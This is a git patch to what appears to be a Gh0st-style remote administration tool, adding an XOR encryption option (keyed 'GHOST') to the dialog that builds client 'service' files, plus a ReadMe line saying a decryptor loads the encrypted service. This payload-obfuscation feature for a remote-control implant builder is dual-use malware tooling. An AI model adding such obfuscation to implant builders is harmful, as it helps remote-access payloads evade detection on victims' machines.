From 66923b8807d9deb733116b9f8b4baf9541c6b9d3 Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Wed, 1 Jan 2025 04:54:27 +0800
Subject: [PATCH] feat: Support XOR encrypt for generating service

---
 ReadMe.md                       |   2 ++
 common/commands.h               |   9 +++++++++
 server/2015Remote/2015Remote.rc | Bin 50360 -> 50672 bytes
 server/2015Remote/BuildDlg.cpp  |  22 +++++++++++++++++++++-
 server/2015Remote/BuildDlg.h    |   4 ++++
 server/2015Remote/resource.h    | Bin 25712 -> 25896 bytes
 6 files changed, 36 insertions(+), 1 deletion(-)

diff --git a/ReadMe.md b/ReadMe.md
index 94a1508..61df274 100644
--- a/ReadMe.md
+++ b/ReadMe.md
@@ -301,6 +301,8 @@ reorg: Move commands to common/commands.h
 
 在动态链接库中增加导出函数Run，以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。
 
+2024.12.31
+生成服务时增加加密选项，当前支持XOR加密。配合使用解密程序来加载加密后的服务。
 
 
 # 沟通反馈
diff --git a/common/commands.h b/common/commands.h
index e7687f4..8e3e095 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -2,6 +2,7 @@
 
 #include <vcruntime_string.h>
 #include <string.h>
+#include <vector>
 
 #ifndef _MAX_PATH
 #define _MAX_PATH 260
@@ -198,3 +199,11 @@ typedef struct  LOGIN_INFOR
 		strcpy_s(moduleVersion, DLL_VERSION);
 	}
 }LOGIN_INFOR;
+
+inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
+	for (char key : keys) {
+		for (int i = 0; i < len; ++i) {
+			data[i] ^= key;
+		}
+	}
+}
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 7669d6c19dbb330d0628eec30dbb675296df10b3..887e05f4b1a640176506e1cdd6c232f08f11b5da 100644
GIT binary patch
delta 315
zcmdnd$^4<4dBZg~USkGh215oN1_cI72D8bGHU}p!abF^6#9+o?0TeZ7Fa?sP3<i@G
zjfE$_6H(%|_FJCp$q>L`5bh9eHTk1~G`}HOzX@2q34_t({T`8=hCoww7)%%}Co6jT
zi<?5_%z$Db8IYNVK$X^VvC;ty{tQ73AwUr$pbSWb37E71$~Sr%PB!rJU^JXu=@rcn
za*rWU7HY=ihhF)U3$!^V7pN(*E(kgn4R(#N5!eQh8jyM;1_K72$um`*)m<6<7@UDN
zMFQQ9Y?~q2H9*^ds!f6J{jZw2Ilx;=iP?z3WO8GAEVBhrFmaOj<b*7x&1`v_!T^v*
BL$d$?

delta 204
zcmey+&Ag+NdBZg~UK0ib215oN1_cHa2E)mWHU}p!abLn|4CI*rMGYqx+DcD;C!)mS
z$q>LWIl)Vg*O<W)B*9<?mfq+sJXt|sY4Q&bHBM6oQ;5uDbx(hOLm<x>%m*1{F?pk$
z@#J^5Mw4H8^6;B8n1f|N@<0bnwzmtO9O0!l`J4#b<QA_mVTd^(eP&?W%ovO|%lkAd
ZF<Ua2Og@+r%M5hi<i>2v&35^l!T`H)F<bxu

diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index 801c683..68eb5f6 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -31,6 +31,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
 	DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
 	DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
 	DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
+	DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
 }
 
 
@@ -135,7 +136,8 @@ void CBuildDlg::OnBnClickedOk()
 			MessageBox(strSeverFile + "\r\n�������\"" + strSeverFile + "\"����ʧ��!");
 			return CDialog::OnOK();
 		}
-		File.Write(szBuffer,dwFileSize);
+		Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel());
+		File.Write(szBuffer, dwFileSize);
 		File.Close();
 		delete[] szBuffer;
 		MessageBox("���ɳɹ�!�ļ�λ��:\r\n"+ strSeverFile);
@@ -182,6 +184,24 @@ BOOL CBuildDlg::OnInitDialog()
 	m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll");
 	m_ComboExe.SetCurSel(0);
 
+	m_ComboEncrypt.InsertString(0, "��");
+	m_ComboEncrypt.InsertString(1, "XOR");
+	m_ComboEncrypt.SetCurSel(0);
+
 	return TRUE;  // return TRUE unless you set the focus to a control
 				  // �쳣: OCX ����ҳӦ���� FALSE
 }
+
+Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) {
+	switch (method)
+	{
+	case 0:// ������
+		break;
+	case 1: // XOR
+		xor_encrypt_decrypt(buffer, len, { 'G', 'H', 'O', 'S', 'T' });
+		break;
+	default:
+		break;
+	}
+	return Buffer();
+}
diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h
index 6b3d241..31b6b51 100644
--- a/server/2015Remote/BuildDlg.h
+++ b/server/2015Remote/BuildDlg.h
@@ -1,5 +1,7 @@
 #pragma once
 
+#include "Buffer.h"
+
 
 // CBuildDlg �Ի���
 
@@ -23,5 +25,7 @@ public:
 	CString m_strPort;
 	afx_msg void OnBnClickedOk();
 	virtual BOOL OnInitDialog();
+	Buffer Encrypt(BYTE* buffer, int len, int method);
 	CComboBox m_ComboExe;
+	CComboBox m_ComboEncrypt;
 };
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 429bc813200345e31f73cbc4e69f770474c57aaf..612536ae50492d0329ea53f613870ca77ec57406 100644
GIT binary patch
delta 86
zcmexxf^o$u#tnUPlN&hLCI^UdO#Z~LGx-1$$K(&mVv{E@vp~hUxLq0i7@Qe`7$O-0
kCLiQhoSY}e23C{6#<6*lT%7CVFPdVLeUe2cOQnPX04L}j82|tP

delta 26
icmZ2+it)n<#tnUPlOHg#Z1$3mbDexaPHghNlq>+FZwq$-